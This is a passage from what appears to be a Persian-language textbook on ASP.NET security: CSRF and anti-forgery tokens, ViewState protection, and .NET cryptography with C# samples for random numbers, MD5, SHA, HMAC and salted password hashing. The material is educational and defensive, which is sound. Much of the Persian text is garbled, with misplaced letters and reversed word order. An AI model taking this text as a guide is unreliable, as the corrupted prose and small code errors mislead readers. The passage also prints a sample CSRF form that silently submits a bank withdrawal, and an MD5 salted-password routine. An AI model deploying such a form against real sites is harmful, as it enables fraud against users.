 یاصل ٔ  دامنه، در support.contoso.comو  sales.contoso.comتواند علاوه بر یم یبالا، کوک جه مثالیدر نت

 ز در دسترس باشد.ین

 (CSRF) یتیسانیبجعل درخواست   6-5

 پذیرآسیبیتساک یت مخرب به یک سایک نوع حمله است که در آن ی( CSRF) یتیساینبجعل درخواست 

 د:یکنیرا مشاهده م CSRF ٔ  حملهاز  ینجا نمونهایفرستد. در ایکه کاربر درحال ورود به آن است، درخواست م
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 شود.یوارد م www.example.comت یت به سایق پرکردن فرم احراز هویک کاربر از طری -1

 ت است.یاحراز هو یک کوکیسرور شامل  کند. پاسیم یسرور، کاربر را اعتبارسنج -2

ک فرم ی یت مخرب حاویکند. ساید میت مخرب بازدیک سایت، کاربر از ین از سابدون خارج شد -3

HTML ر است:یمانند ز 

<h1>You Are a Winner!</h1> 

<form action="http://example.com/api/account" method="post>" 

<input type="hidden" name="Transaction" value="withdraw " />  

<input type="hidden" name="Amount" value="1000000 " />  

<input type="submit" value="Click Me "/>  

</ form> 

 ت مخرب.یکند، نه به سایر ارسال میبپذیت آسیفرم، اطلاعات را به سا actionد که یتوجه کن

 ق و درخواست کاربر است.یتصد یکوک یاکنون حاو مرورگر کند.یک میدکمه کل یکاربر رو -4

ق یک کاربر تصدیکه  یتواند هر عملیق در سرور اجرا شده و میتصد یکوک یدرخواست به همراه محتوا -5

 شده قادر به انجام آن است را اجرا کند.

ک ی یتواند به راحتیمخرب م ٔ  صفحهک کند، یدکمه کل ین است که کاربر بر رویازمند ایاگرچه مثال قبل ن

ک حمله یتواند از ینم SSLن، استفاده از یکند. علاوه برایرا ارسال م Ajaxک درخواست یپت اجرا کند که یاسکر

CSRF ک درخواست یتواند یت مخرب میرا سایکند ز یریجلوگ"https//:" .ارسال کند 

که  چرا ر است،یکنند امکانپذیت استفاده میاحراز هو یبرا هایکوککه از  هایییتسادر  CSRFمعمولا حملات 

تنها به استفاده  CSRFن حال، حملات ی. با اکنندیمت مقصد ارسال یمرتبط را به سا هاییکوک یمرورگرها تمام

ر است. بعد از ورود کاربر از یبپذیز آسین Digestو ه یت پایشوند. به عنوان مثال احراز هویمحدود نم هایکوکاز 

ها را  ینامهگواه ان برسد،یکه نشست به پا ی، مرورگر به صورت خودکار تا زمانDigest یاه یت پایق احرازهویطر

 کند.یارسال م
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 ضد جعل یتوکنها  1-6-5

 یتوکنها"کند کهیضد جعل استفاده م یاز توکنها CSRF ،Asp.Net MVCاز حملات  یریکمک به جلوگ یبرا

 شوند.یده میز نامین "د درخواستییتا

 کند.یک فرم را درخواست می یحاو HTML ٔ  صفحهک یکلاینت -1

لد پنهان یک فیدر  یگریشود و دیارسال م یاز توکنها به عنوان کوک یکیخود دو توکن دارد.  پاسسرور در -2

 ر آنها را حدس بزند.یتواند مقادین مهاجم نمیشوند بنابراید میتول یبه صورت تصادف هاتوکنن یرد. ایگیقرار م

 یتوکن کوک ینتکلا بازگشت داده شود.د هر دو توکن به سرور یکند، بایکه کلاینت فرم را ارسال م یزمان-3

ن عمل را یکند )مرورگر ایلد پنهان را داخل اطلاعات فرم قرار داده و ارسال میفرستاده و ف یک کوکیرا به صورت 

 دهد.(یبه صورت خودکار انجام م

 دهد.یهر دو توکن نباشد، سرور اجازه درخواست را نم یاگر درخواست حاو-4

 با توکن پنهان آورده شده است: HTMLم ک فریاز  یدر ادامه مثال

<form action="/Home/Test" method="post"> 

<input name="__RequestVerificationToken" type="hidden" 

value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" /> 

<input type="submit" value="Submit" /> 

</form> 

 یاستهایکاربر را با توجه به س یتواند توکنهایت مخرب نمیرا سایکنند زیکار م یضد جعل به خوب یتوکنها

 یت متفاوت به محتوایقرارگرفته شده در دو سا یسندها یکسان، از دسترسیمبدأ  یاستهایکسان بخواند. سیمبدأ 

ارسال کند  example.comتواند درخواست را به یت مخرب مین در مثال قبل، سایبنابرا؛ کندیم یریگر جلوگیکدی

 آن را بخواند. تواند پاسیاما نم
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د. شامل یت استفاده کنیضد جعل با هر پروتکل احراز هو یاز توکنها CSRFاز حملات  یریجلوگ یبرا

ه و یت پایمانند احراز هو یین پروتکلهایت فرم و همچنی، مانند احراز هویبر کوک یت مبتنیاحراز هو یپروتکلها

Digest. 

 د.یاستفاده کن DELETE،PUT،POST یمانند روشها یرامنیهر روش غ یضد جعل برا ید از توکنهایشما با

بر  علاوه ندارند. یچگونه عوارض جانبیه HEADو  GETامن مانند  ید که روشهاینان حاصل کنیاطم ینهمچن

ز ین GETامن مانند  یروشها ید، حتیرا فعال کن JSONPا ی CORSمانند  ین دامنه ایب یبانین، اگر پشتیا

 دهند.یر شده و به مهاجم اجازه خواندن اطلاعات حساس را میبپذیآس

 Asp.Net MVCضد جعل در  یتوکنها  2-6-5

 د:یاستفاده کن HtmlHelper.AntiForgeryToken، از تابع Razorضد جعل به صفحه  یافزودن توکنها یبرا

@using (Html.BeginForm("Manage", "Account")) { 

@Html.AntiForgeryToken() 

} 

 و توکن پنهان را اضافه خواهد کرد. ین روش توکن کوکیا

 ASP.Netدر  CSRFجلوگیری از  3-6-5

Asp.Net ینگهدار یبرا ینه ایگز ViewState  .شما داردViewState که به سرور  یک صفحه زمانیت یوضع

 form> گرفته شده در هر صفحه با کنترللد پنهان قراریق فیت از طرین وضعیکند. ایشود را مشخص میارسال م

runat="server>" شود. یف میتعرViewState ک دفاع دربرابر یتواند به عنوان یمCSRF  استفاده شود چرا که

ا حدس زدن یر پارامترها قابل مشاهده یاست. اگر مقاد یمعتبر کار دشوار ViewStateک یجاد یمهاجم ا یبرا

به  ین حال، اگر شناسه نشست فعلیست. با ایرممکن نیمعتبر غ ViewStateک یجاد یتوسط مهاجم باشند، ا

ViewState شود هر یاضافه شود، باعث مViewState جه در برابر حملات یمنحصربه فرد شده و در نتCSRF 

به منظور محافظت در برابر جعل  ViewStateدر  ViewStateUserKeyاستفاده از صفت  یبرا شود.یمن میا
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د ین صفت باید )ایاز کلاس مشتق شده از صفحه اضافه کن OnInit یر را در تابع مجازیزگرداندن، موارد زارسال/با

 م شود(.یتنظ Page.Initداد یدر رو

protected override OnInit(EventArgs e) { 

base.OnInit(e); 

if (User.Identity.IsAuthenticated) 

ViewStateUserKey = Session.SessionID; } 

د شده یتول ViewState یقبل از بارگذار Asp.netد در یرا کلیشود ز یاده سازیپ Page_Initد در ین مورد بایا

 باشد.یدر دسترس م Asp.Net1. 1نه از ین گزیاست. ا

 یمک فقط در ارسال/بازگرداندن بررس ViewStateمثلا ؛ سم وجود داردین مکانیدر ا ییتهاین وجود محدودیبا ا

 CSRFاجازه حمله  یکند به آسانیگر که از ارسال/بازگرداندن استفاده نمین هر درخواست برنامه دیبنابراشود، یم

 کند.یرا فراهم م

 Asp.Netت حالت در یریت مدیامن ستیلچک  7-5

 د.یر ندهییحالت را تغ GETک درخواست یهرگز با استفاده از  ➢

اشاره به  یبرا GUIDم مانند یرمستقیغ یش شه از مراجعید. همیکن یا خودداریم به اشیاز ارجاع مستق ➢

افته تا به مهاجم اجازه یر ییتغ یتوانند به سادگیم میمستق ید. مراجع شیوب سرور استفاده کن یمنابع رو

د یکن یبررس د قادر به مشاهده آنها باشد.یداشته باشد که در حالت معمول نبا یدسترس ییایدهند به اش

 ر.یا خیباشد یدرخواست شده م یدن شیمجاز به د یکه کاربر فعل

 شدهمحافظت ینکه به درستید، مگر ایاطلاعات حساس استفاده نکن ینگهدار یفرم برا یمخف یلدهایاز ف ➢

 یتوانند توسط مهاجم دستکاریپرسوجو م ٔ  رشتهک فرم و ی یلدهاید که فیاد داشته باشیباشند. به 

 شوند.
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ا درخواست ید که آیکن ید بررسیتوانین کار شما مید. با ایخود اضافه کن یبه فرمها CSRFک توکن ی ➢

 ر.یا خیت شماست یافتشده از طرف سایدر

 یبرا ViewStateUserKeyک ید، یکنیاستفاده مviewstate: اگر شما از یاز حملات بازساز یریجلوگ ➢

 د.یکن یاده سازیپ یاز حملات بازساز یریجلوگ

 د.یره نکنیذخ ViewStateاس را در محافظت از اطلاعات حساس: هرگز اطلاعات مهم و حس ➢

را  آن د،یره اطلاعات حساس استفاده کنیذخ یبرا ViewState: اگر لازم است از ViewState یرمزگذار ➢

 د.یکن یرمزگذار

 



 

 

 

 )رمزنگاری در )دات نت  :مششفصل  -6

 ای بر رمزنگاری مقدمه  1-6

و  است)CipherText( به عنوان یک متن رمزشدهرمزنگاری هنر محافظت از اطلاعات با استفاده از انتقال آن 

 .فقط کسانی می توانند آن را رمزگشایی کنند که کلید مخفی را در اختیار داشته باشند

شکسته می شود، اگرچه تکنیک های رمزنگاری مدرن و توسط هکرها پیام های رمزنگاری شده گاهی اوقات 

بینی می شود که با ساخت کامپیوترهای پیشرفته کوانتومی  پیشرفته تقریبا غیرقابل شکستن می باشند، اما پیش

که چندین میلیون برابر قدرت پردازش بیشتری نسبت به کامپیوتر های امروزی دارند این رمز ها نیز شکسته 

شوند. ازآن جایی که اینترنت و دیگر شکل های ارتباطات الکترونیکی امروزه متداول ترند، امنیت الکترونیکی 

معمولا برای محافظت از پیامهای ایمیل، اطلاعات کارت های بانکی و  یرمزنگار شتری پیدا کرده است.اهمیت بی

 اطلاعات محرمانه استفاده می شود.

 سه زمینه اصلی در رمز نگاری وجود دارد:

➢ Confidentiality )محرمانگی( 

➢ Integrity )یکپارچگی( 

➢ Nonrepudiation )غیرقابل انکار بودن( 

 از محرمانگی صحبت می کنیم، منظور محافظت از دسترسی غیر مجاز افراد به اطلاعات است. زمانی که ما

 امروزه اطلاعات ارزش دارد، حساب های بانکی، اطلاعات شخصی، اسناد دولتی و ... نیاز به حفاظت دارد.

 می کند. بخش مهمی از حفاظت اطلاعات محرمانه، رمزنگاری است که دسترسی امن به اطلاعات را تضمین
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یکپارچگی اطلاعات، حفاظت از اطلاعات برای عدم دستکاری اطلاعات توسط اشخاص غیر مجاز است. 

ما رمزنگاری  جزوهیکپارچگی زمانی نقض می شود که در زمان انتقال داده ها تغییر در آن ها صورت گیرد. در این 

کنید بررسی خواهیم کرد نظیر الگوریتم  های اولیه ای که شما می توانید به کمک آن ها یکپارچگی را تضمین

 .SHAو خانواده  MD5از جمله  hashingهای 

نمونه مشابه این روش آن چیزی است که در سایت های مختلف در هنگام دانلود یک فایل با آن رو به رو می 

کردن آن بررسی می رمزی قرار داده شده است که با وارد  ،شوید، به طوری که در زیر لینک دانلود فایل مورد نظر

در ادامه بحث خواهیم کرد که چرا  می گویند. MD5کنید که آیا رمز ها یکسان هستند یا خیر. به این کد ها 

 استفاده از هش برای ذخیره سازی پسورد مناسب نیست.

مثال برای  .غیر قابل انکار بودن به این معنی است که نتوان امضای یک سند یا متن ارسال شده را انکار کرد

می شود، دریافت کننده نمی  (delivery) ییدتایا پیامک را به شخصی ارسال می کنید و  زمانی که شما یک ایمیل

در اینترنت امضای دیجیتال فقط برای اطمینان حاصل  تواند انکار کند که ایمیل یا پیامکی دریافت نکرده است.

ای اطمینان حاصل کردن از این موضوع است که هر کردن از ارسال و دریافت پیام استفاده نمی شود بلکه بر

 .و نمی تواند آن را انکار کند مانند اثر انگشتشخص فقط می تواند یک امضای دیجیتال داشته باشد 

 نت دات در یرمزنگار 2-6

 یبرا را یبهتر تیامن کند یم کمک شما به که دارد وجود یرمزنگارهای  Object از یا مجموعه نت، دات در

 System Security    نام یفضا در نت دات درهای رمزنگاری  Object.دیجاد کنیا خود یها افزار نرم

Cryphtography .قرار دارد 
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 System کلاس از دیکن یم جادیا یتصادف شبه ای یتصادف عدد کی شما که یزمان نت، دات در یکل طور به

Random سروکار تیامن با شما که یزمان اما ؛کند یم برطرف را شما ازین موارد شتریب در که دیکن یم استفاده 

 .ندارد ییکارا کلاس نیا گرید دیدار

شاید برای شما این سوال پیش بیاید که تفاوت یک عدد تصادفی با یک عدد شبه تصادفی در چیست؟ اعداد 

اما اعداد ؛ است تصادفی با استفاده از منابع سخت افزاری تولید می شوند و حدس زدن آن ها به مراتب سخت تر

شبه تصادفی با استفاده از الگوریتم های ریاضی تولید شده و با آنالیز آن ها می توان به الگوی آن ها پی برد و این 

 اعداد بیشتر در شبیه سازی ها و مدل سازی ها مورد استفاده قرار می گیرند.

 یها تمیالگور یبرا یرمزگذار دیکل دیتول یبرا آن از رایز است یمهم اریبس موضوع یرمزنگار در یتصادف اعداد

 استفاده می شود. AESر ینظ متقارن

 اعداد تصادفی که تولید می کنیم باید آنتروپی بالایی داشته باشد. ➢

 سخت منابع از معمولا که است اعداد بودن یتصادف زانیم یمعنا به یا آنتروپی Entropyی رمزنگار در ➢

پس یعنی هرچه آنتروپی بالاتر باشد، امکان تکراری  .کنند یم استفاده یتصادف اعداد دیتول در یافزار

 بودن عدد نیز کاهش می یابد.

می باشد  RNG Crypto Service Providerکلاس  از استفاده یتصادف اعداد دیتول یبرا بهتر روش  ➢

 است. System Security Cryptographyکه یکی از کتابخانه 

ارائه می دهد ولی کمی هزینه بر است و  System Random کلاس به نسبت را یبهتر روش کلاس نیا

 عمل می کند که اگر کیفیت مناسب تری را می خواهید باید هزینه آن را نیز بپردازید. Randomکند تر از 

( thread safeدارد این است که این کلاس ترد سیف ) Randomتفاوت دیگری که این کلاس با کلاس 

 است.
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➢ Thread safe :همه  ٔ ( نخ هاthreads می توانند به خانه هایی از حافظه دسترسی داشته باشند که )

نیست و اگر با محافظت باشد به  thread safeاگر این دسترسی بدون محافظت باشد می گوییم که 

 thread safeاین شکل که دو نخ به طور همزمان نتوانند به این خانه دسرسی داشته باشند می گوییم 

 است.

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

 

namespace RNGCryptoServiceProviderProject 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 for(int i=0;i<10;i++) 

 { 

 Console.WriteLine("Random number "+i+": 

"+Convert.ToBase64String(GenerateRandomNumber(32))); 

 } 

 Console.ReadKey(); 

 } 

 public static byte[] GenerateRandomNumber(int Length) 

 { 

 using (RNGCryptoServiceProvider rng=new RNGCryptoServiceProvider()) 

 { 

 byte[] randomNumber = new byte[Length]; 

 rng.GetBytes(randomNumber); 

 return randomNumber; 

 } 
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 } 

 } 

} 

 

➢ Base64 فرمت  با ها تیبا از یا هیآرا یکدبند نیا در که است ییدودو یبند کد نوع کیASCII 

 تفاوت نیا با است hexو  Octalاعداد  دستگاه مشابه اعداد دستگاه کی روش نیشوند. ا یم یکدگذار

 4 از hexدر  و تیب 3 رقم هر یساز رهیذخ یبرا Octalاعداد  ستمیس کی در .است 64 آن یمبنا که

 .شود یم استفاده رقم هر رهیذخی برا تیب 6 از روش نیا در یول میکن یم استفاده تیب

 Hashingهای  الگوریتم  3-6

 یم بر ثابت طول با رشته کی و گرفته را ها داده از بلوک کی که است یتمیالگور ،یرمزنگار هش تابع کی

 .کرد خواهد رییتغ ها داده در یرییتغ هر یازا به تابع هش یبرگشت مقدار و گرداند

 گفته می شود. ”Message digest“تابع  از یبرگشت مقدار و به ”Message“اغلب  شده رمز یها داده به

 ثابت بر می گرداند. هر بلوک داده ای با هر سایزی به آن بدهید، یک رشته با طول

 :است ریز یژگیو چهار یدارا آل دهیا یرمزنگار هش تابع متد کی

 داده شده. messageهر  ازای به هش مقدار ساده محاسبه ➢

یعنی الگوریتم یک طرفه است به طوری که ) .شده داده هش مقدار از messageساخت  بودن ممکن غیر ➢

 دست یافت(.با پیغام هش شده نمی توان به پیغام اصلی 

یعنی با تغییر حتی یک بیت، هش نیز تغییر ) .هش مقدار در تغییر بدون پیام تغییر بودن ممکن غیر ➢

 خواهد کرد(
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 دات در شده هش messageیک  مقدار هش مساوی ساخت با messageدو  کردن پیدا بودن ممکن غیر ➢

 .است ای ساده بسیار کار نت

 مانند: دارد وجود کار این برای مختلفی های الگوریتم نت دات در

➢ MD5 

➢ SHA-1 

➢ SHA-256 

➢ SHA-512 

 را یا داده شما که یزمان هش در .است شده داده شینما Encryptionو  Hashing نیب تفاوت اگرامید نیا در

 دیکن یم رمز را اطلاعات دیکل کی با شما یرمزگذار در یول دیبرگردان را آن دیتوان ینم به هیچ وجهید کرد هش

 د.یباش داشته یدسترس به اطلاعات دوباره دیتوان یم دیکل همان با و

 

 رییتغ هش مقدار دیده انجام داده آن یبرا را کار نیا که بار تعداد هر دیکن یم هش را یا داده شما که یزمان

 یبرا یمتفاوت مقدار دیده رییتغ هم را تیب کی شما اگر یحت .دیکن جادیا یرییتغ ها داده در نکهیا مگر کند ینم

 .دیباش داشته ها داده صحت یبررس یبرا یزمیمکان شما شود یم باعث یژگیو نیا ؛ کهشود یم محاسبه هش

 داده ارسال از قبل و دیکن ارسال شبکه تحت را یا داده دیخواهیم شما مثلا که است دیمف یزمان موضوع نیا

 دوباره داده هش مقدار مقصد در و دیکن یم ارسال را هش مقدار و داده و دیکن یمحاسبه م را آن هش مقدار

 حاصل نانیاطم یافتیدر اطلاعات صحت از توان یم که شود یسه میمقا شده فرستاده هش مقدار با و شده محاسبه

 کرد.
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1-3-6 Message Digest 5 (MD5) 

 یتیب 128 شده هش مقدار کی که ردیگ یم قرار استفاده مورد یا گسترده طور به یرمزنگار در تمیالگور نیا

 یم داده شینما base64 ٔ  رشته ای مالیهگزادس یرقم 32 عدد صورت به معمولا که کند یم دیتول)یتیبا 16)

ی یکپارچگی بررس یبرا عموما و ردیگ یم قرار استفاده مورد یرمزنگاری ها افزار نرم از یادیز تعداد در Md5شود. 

 شیپ که شد MD4تم یالگور نیگزیجا Ron Rivestتوسط  1991 سال در تمیالگور نیا داده ها استفاده می شود.

 پیدا شد. MD5تم یالگور یطراح در نقص کی 1996 سال گرفت. در یم قرار استفاده مورد تر

خانواده  یها تمیالگور از استفاده به زمان آن در رمزنگاران اما نبود یاساس یلیخ زمان آن در ضعف نیا نکهیا با

SHA تم یالگور 2004 سال کردند. در هیتوصMD5 برابر  در مقاوم تمیالگور کیCollision نیا به که شد یمعرف 

موارد بسیار نادر این امکان وجود  در البته ( شود ینم یکی هم باای  messageدو  ره هش مقدار که است یمعن

 دارد(

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

using System.IO; 

 

namespace MD5Hashing 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 string Message1 = "Message1"; 

 string Message2 = "Message2"; 
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 var hashedMessage1 = ComputeHashMD5(Encoding.UTF8.GetBytes(Message1)); 

 var hashedMessage2 = ComputeHashMD5(Encoding.UTF8.GetBytes(Message2)); 

 Console.WriteLine("Hashed Message1 with Base64: "+Convert.ToBase64String(hashedMessage1)); 

 StringBuilder sb = new StringBuilder(); 

 for(int i=0;i<hashedMessage2.Length;i++) 

 { 

 sb.Append(hashedMessage2[i].ToString("X2")); 

 } 

 Console.WriteLine("Hashed Message2 with hex: " + sb.ToString()); 

 Console.WriteLine("Hashed File with Base64: 

"+Convert.ToBase64String(FileToBytes(@"C:\Users\Maher\Documents\Example.zip"))); 

 Console.ReadKey(); 

 } 

 public static byte[] FileToBytes(string add) 

 { 

 FileStream stream = File.OpenRead(add); 

 byte[] fileBytes = new byte[stream.Length]; 

 stream.Read(fileBytes, 0, fileBytes.Length); 

 stream.Close(); 

 return fileBytes; 

 } 

 public static byte[] ComputeHashMD5(byte[] tobeHashed) 

 { 

 using (var md5 = MD5.Create()) 

 { 

 return md5.ComputeHash(tobeHashed); 

 } 

 } 

 

2-3-6 Secure Hash Algorithm (SHA) Family 

 انتشار( NISTی )تکنولوژ و استاندار یمل تویانست توسط که باشد یم هش توابع ٔ  خانواده کی SHA ٔ  خانواده

 دارد: یمختلف انواع SHA ٔ  خانواده .کرد دایپ
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➢ SHA-1تابع  با یشتریب شباهت که است یتیب 160 هش تابع ک: یMD5 تیامن آژانس توسط که دارد 

ی رمزنگار در یضعف نقاط .شد یطراح تالیجید یامضا تمیالگور از یبخش عنوان ( بهNSAکا )یآمر یمل

SHA-1 شد. یمعرف 2010 سال در یرمزنگاری برا یگرید استاندارد و شد کشف 

➢ SHA-2متفاوت  بلوک اندازه با مشابه هش تابع دو شامل خانواده ک: یSHA-256  وSHA-512  که

SHA-256 که یدرحال کند یم استفادهی تیب 32 کلمات ازSHA-512 یم استفاده یتیب 64 کلمات از 

 طراحی شده است. NSAتوسط  زین SHAتم یالگور از نسخه نیا .کند

➢ SHA-3آن  به قبلا که هش تمیالگور ک: یkeccak یعموم رقابت کی در 2012 سال در که گفتند یم 

 یساختار با یول SHA-2کلمات  طول همان از تمیالگور ینا .شد انتخاب NSAاز  مستقل طراحان نیب

 شود، ینم یبانیپشت ورک میفر نت دات در در حال حاضر SHA-3می باشد.  SHAخانواده  از متفاوت

 .باشد دسترس در تواند یم آن یاده سازیپ از استفاده با البته

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

 

namespace SHA_Family 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 string Message = "Maher"; 

 Console.WriteLine("sha1 hashed Message: 

"+Convert.ToBase64String(ComputeHashSHA1(Encoding.UTF8.GetBytes(Message)))); 

 Console.WriteLine("sha256 hashed Message: " + 

Convert.ToBase64String(ComputeHashSHA256(Encoding.UTF8.GetBytes(Message)))); 
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 Console.WriteLine("sha512 hashed Message: " + 

Convert.ToBase64String(ComputeHashSHA512(Encoding.UTF8.GetBytes(Message)))); 

 Console.ReadKey(); 

 } 

 public static byte[] ComputeHashSHA1(byte[] tobeHashed) 

 { 

 using (var sha1 = SHA1.Create()) 

 { 

 return sha1.ComputeHash(tobeHashed); 

 } 

 } 

 public static byte[] ComputeHashSHA256(byte[] tobeHashed) 

 { 

 using (var sha256 = SHA256.Create()) 

 { 

 return sha256.ComputeHash(tobeHashed); 

 } 

 } 

 public static byte[] ComputeHashSHA512(byte[] tobeHashed) 

 { 

 using (var sha512 = SHA512.Create()) 

 { 

 return sha512.ComputeHash(tobeHashed); 

 } 

 } 

 } 

} 

 

3-3-6 Message Authentication Codes (MAC) 

هش  امیپ یابیارز کد آن به دیکن بیترک یمخف یرمزنگار دیکل کی با را هش تابع یها روش از یکی شما اگر

(HMAC .می گویند )یک هش، کد کی مشابه HMAC قرار استفاده مورد امیپ کی یکپارچگی نانیاطم منظور به 
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 یم را دیکل که یشخص فقط رایز دیکن یابیارز را امیپ کی که دهد یم اجازه شما به نیهمچن HMAC .ردیگ یم

و  MD5ی ها تمیالگور ازجمله هش مختلف توابع با تواند یم روش ینا .کند را محاسبه هش همان تواند یم داند

SHA .کی یرمزنگار قدرت مورد استفاده قرار گیرد HMAC قرار استفاده مورد که است یدیکل زیسا به وابسته 

 طور بهها  HMACاست.  دیکل کشف منظور به Brute Force ٔ  حمله HMACه یعل حمله نیتر یجرا .ردیگ یم

 دهد. یم کاهش استفاده مورد هش تمیالگور به نسبت را( Collisonزان تصادف )یم یا ملاحظه قابل

 د،یباش داشته را امیپ یابیارز هم و یکپارچگی هم دیخواه یم شما که شود یم استفاده یزمان معمولا روش نیا

 شما نجایا در د،یکن منتقل ها آن هش همراه به را ها داده از یبخش دیخواه یم شما دیکن فرض مثال یبرا

 با نجایا در ؟، فرستاده شما یبرا را امیپ یکس چه که دیشو مطمئن دیتوان ینم یول دیکرد حفظ را یکپارچگی

 داشته را دیکل که یکس فقط و دیکن محاسبه را هش یمخف دیکل کی از استفاده با دیتوان یم HMACاز  استفاده

 .دیدیبخش تحقق هم را امیپ یابیارز شما کندکه محاسبه را هش تواند یم باشد

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 

 

namespace HMAC 

{ 

 class Program 

 { 

 private const int KEY_SIZE = 32; 

 public static byte[] GenerateKey() 

 { 

 using (var rng = new RNGCryptoServiceProvider()) 

 { 

 var randomnumber = new byte[KEY_SIZE]; 

 rng.GetBytes(randomnumber); 
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 return randomnumber; 

 } 

 } 

 public static byte[] ComputeHMACSHA1(byte[] input,byte[] key) 

 { 

 using (var hmac = new HMACSHA1(key)) 

 { 

 return hmac.ComputeHash(input); 

 } 

 } 

 public static byte[] ComputeHMACSHA256(byte[] input, byte[] key) 

 { 

 using (var hmac = new HMACSHA256(key)) 

 { 

 return hmac.ComputeHash(input); 

 } 

 } 

 public static byte[] ComputeHMACSHA512(byte[] input, byte[] key) 

 { 

 using (var hmac = new HMACSHA512(key)) 

 { 

 return hmac.ComputeHash(input); 

 } 

 } 

 public static byte[] ComputeHMACMD5(byte[] input, byte[] key) 

 { 

 using (var hmac = new HMACMD5(key)) 

 { 

 return hmac.ComputeHash(input); 

 } 

 } 

 static void Main(string[] args) 

 { 

 var key = GenerateKey(); 



 

231 

 string message = "Maher"; 

 var hmac_MD5 = ComputeHMACMD5(Encoding.UTF8.GetBytes(message),key); 

 var hmac_SHA1 = ComputeHMACSHA1(Encoding.UTF8.GetBytes(message), key); 

 var hmac_SHA256 = ComputeHMACSHA256(Encoding.UTF8.GetBytes(message), key); 

 var hmac_SHA512 = ComputeHMACSHA512(Encoding.UTF8.GetBytes(message), key); 

 Console.WriteLine("MD5 HMAC: "+Convert.ToBase64String(hmac_MD5)); 

 Console.WriteLine("SHA1 HMAC: " + Convert.ToBase64String(hmac_SHA1)); 

 Console.WriteLine("SHA256 HMAC: " + Convert.ToBase64String(hmac_SHA256)); 

 Console.WriteLine("SHA512 HMAC: " + Convert.ToBase64String(hmac_SHA512)); 

 Console.ReadKey(); 

 } 

 } 

} 

 

 رمزعبور ٔ  رهیذخ  4-6

 پردازنده اختراع با .است سیتابید در رمزشده صورت به عبور رمز ٔ  یرهذخ ها، هش از جیرا یها استفاده از یکی

 Rainbowیا  Brute Force حملات با رایز دیکن استفاده کار نیا یبرا ها هش از شما که شود ینم هیتوص مدرن، یها

 آسیب پذیر هستند.

 یبرا جدول نیا .هاست امیپ مختلف باتیترک یازا به شده محاسبه یها هش شامل Rainbow جدول :نکته

 سرعت و باشد تیگابایگ نیچند تواند یم Rainbowجدول  یک .شود یم استفاده هش امیپ از یاصل ن متنییتع

 دارند. هش یها امیپ یابیباز دریی بالا اریبس

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Text; 

using System.Security.Cryptography; 
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namespace PasswordWithSalt 

{ 

 class Program 

 { 

 static void Main(string[] args) 

 { 

 string password = "Maher"; 

 byte[] salt = GenerateSalt(); 

 Console.WriteLine("password: "+password); 

 Console.WriteLine("salt: " + Convert.ToBase64String(salt)); 

 Console.WriteLine("Hashed password: " 

+Convert.ToBase64String(HashPasswordWithSalt(Encoding.UTF8.GetBytes(password),salt))); 

 Console.ReadKey(); 

 } 

 public static byte[] GenerateSalt() 

 { 

 const int SALT_LENGTH = 32; 

 using (var rng = new RNGCryptoServiceProvider()) 

 { 

 var randomNumber = new byte[SALT_LENGTH]; 

 rng.GetBytes(randomNumber); 

 return randomNumber; 

 } 

 } 

 public static byte[] Combine(byte[] first,byte[] second) 

 { 

 var ret = new byte[first.Length + second.Length]; 

 Buffer.BlockCopy(first, 0, ret, 0, first.Length); 

 Buffer.BlockCopy(second, 0, ret, first.Length, second.Length); 

 return ret; 

 } 

 public static byte[] HashPasswordWithSalt(byte[] input,byte[] salt) 

 { 

 using (var md5 = MD5.Create()) 
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 { 

 return md5.ComputeHash(Combine(input, salt)); 

 } 

 } 

 } 

} 

 کی Salt( کرد. Salt) یپاش نمک را آن اصطلاحا توان یم حملات، نیا مقابل در عبور رمز تیامن شیافزا یبرا

 .شود یم استفاده آن یآنتروپ شیافزا منظور به و شود یم اضافه امیپ به هش محاسبه از که قبل است یتصادف عدد

 باشد. یمخف ستین لازم و دیکن رهیذخ زین را Saltمقدار  شده، هش پسورد همراه به دیبا شما

 یحد تا امروزه دیشا و است شده هش رمزعبور یتنها ٔ  یرهذخ روش از بهتر رمزعبور ٔ  یرهذخ یبرا حل راه نیا

 ندهیآ سال چند در دیشا ها پردازنده سرعت روزافزون شیافزا و مور قانون به توجه با یول کند نیتام را ما تیامن

 دیکلیا تابع  password-based key derivation function از بهتر استفاده حل راه .باشد ساده اریبس کار، نیا

 .باشد یم پسورد بر یمبتن اشتقاق

 تعداد که کند یم انیب شده گرفته نتلیا گذاران انیبن از Gordon E. Mooreنام  از که مور قانون :نکته

 .شد خواهد برابر دو مدار کی در سال 2 هر بایتقر ها ستوریترانز

 پسورد بر یمبتن اشتقاق دیکل تابع 1-4-6

 چند یط در که است نیا( Saltحتی با )رمزعبور  ٔ  یرهذخ و کردن هش با ما مشکل میکرد ثبح که همانطور

 آسیب پذیر است. Rainbowو  Brute Forceحملات  برابر در یراحت به تر یپردازنده های قو آمدن با سال

 مقابل در در ما میکن هش را خود رمزعبور دهد یم اجازه ما به که یمادام که میکن استفاده را یروش دیبا پس

 .کند مور محافظت قانون شرفتیپ

ی رمزنگار یها استاندارد از یبخش شود، یم دهینام زین PBKDF2 که پسورد بر یمبتن اشتقاق دیکل تابع

Public-Key  .از بگوییم کهبه زبان ساده اگر بخواهیم توضیح دهیم باید می باشد MD5  برای هش کردن یک
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استفاده می کردیم،  Rainbowو  brute forceبرای شکستن آن از حملات  اشاره شدپسورد استفاده می کردیم که 

مرتبه انجام دهیم، این تعداد تکرار باعث می شود آن سیستم کامپیوتری و  100را  MD5حالا در نظر بگیرید که 

الگوریتمی که برای شکستن پسورد ما نوشته اند زمان بیشتری را صرف کند. هرچه تعداد تکرار ما بیشتر باشد، 

آن اضافه می کنیم  را هم هر بار به saltزمان کرک کردن آن نیز بیشتر می شود. برای افزایش بیشتر امنیت یک 

 کی و یآنتروپ شیافزا منظور به Saltک ی و رمزعبور کی از ما روش نیا در که باعث افزایش آنتروپی ما می شود.

 کی یرو را یرمزگذار ای هش میالگورت کی تکرار، دفعات تعداد به .میکن یم استفاده تکرار تعداد عنوان به عدد

